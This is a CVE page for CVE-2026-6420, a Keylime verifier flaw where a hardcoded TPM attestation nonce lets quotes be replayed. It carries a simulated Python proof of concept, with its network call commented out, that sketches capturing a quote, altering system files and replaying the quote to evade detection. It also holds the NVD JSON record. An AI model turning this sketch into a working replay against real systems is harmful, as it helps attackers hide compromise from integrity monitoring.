CVE-2026-6420

# Proof of Concept for CVE-2026-6420 (Keylime Hardcoded Nonce Replay) # This script demonstrates the concept of replaying a TPM quote due to a hardcoded nonce. import requests import json import time # Configuration VERIFIER_URL = "http://keylime-verifier:8888/v2.0/agents/uuid" AGENT_UUID = "D432FBB3-D2F1-4A97-9EF7-75BD81C00000" def capture_valid_quote(): """ Simulate capturing a valid TPM quote when the system is in a clean state. In a real scenario, the attacker would intercept this or read it from the agent store. """ print("[*] Capturing valid TPM quote from the agent...") # Simulating a valid quote response structure # The 'nonce' is hardcoded by the verifier, so this quote remains valid indefinitely. valid_quote = { "quote": "base64_encoded_quote_data...", "nonce": "hardcoded_challenge_nonce", # The vulnerability lies here "pcr_list": [0, 1, 2, 3], "timestamp": time.time() } print("[+] Valid quote captured and saved.") return valid_quote def replay_attack(valid_quote): """ Simulate replaying the captured quote to the verifier after system compromise. """ print("[*] System compromised. Replaying captured quote to evade detection...") # Attacker modifies the state (e.g., changes file hashes) print("[*] Modifying system files...") # Send the old quote to the verifier payload = { "agent_id": AGENT_UUID, "tpm_quote": valid_quote['quote'], "nonce": valid_quote['nonce'] } # In a real exploit, this would be sent to the verifier's API endpoint # response = requests.post(VERIFIER_URL, json=payload) print(f"[+] Quote replayed. Verifier accepts the old quote because the nonce matches.") print("[+] Integrity check bypassed. Attacker remains undetected.") if __name__ == "__main__": # Step 1: Get root access and capture quote quote_data = capture_valid_quote() # Step 2: Perform malicious actions time.sleep(1) # Step 3: Replay the old quote replay_attack(quote_data)

{"cve": {"id": "CVE-2026-6420", "sourceIdentifier": "[email protected]", "published": "2026-05-06T11:16:05.193", "lastModified": "2026-05-07T14:56:04.523", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keylime. An attacker with root access on an enrolled monitored machine, where the Keylime agent runs, can exploit a vulnerability in the Keylime verifier. The verifier uses a hardcoded challenge nonce for Trusted Platform Module (TPM) quote attestation instead of a cryptographically random value. This allows the attacker to stockpile valid TPM quotes and replay them to evade detection after compromising the system. This issue affects only the push model deployment."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1241"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6420", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458889", "source": "[email protected]"}]}}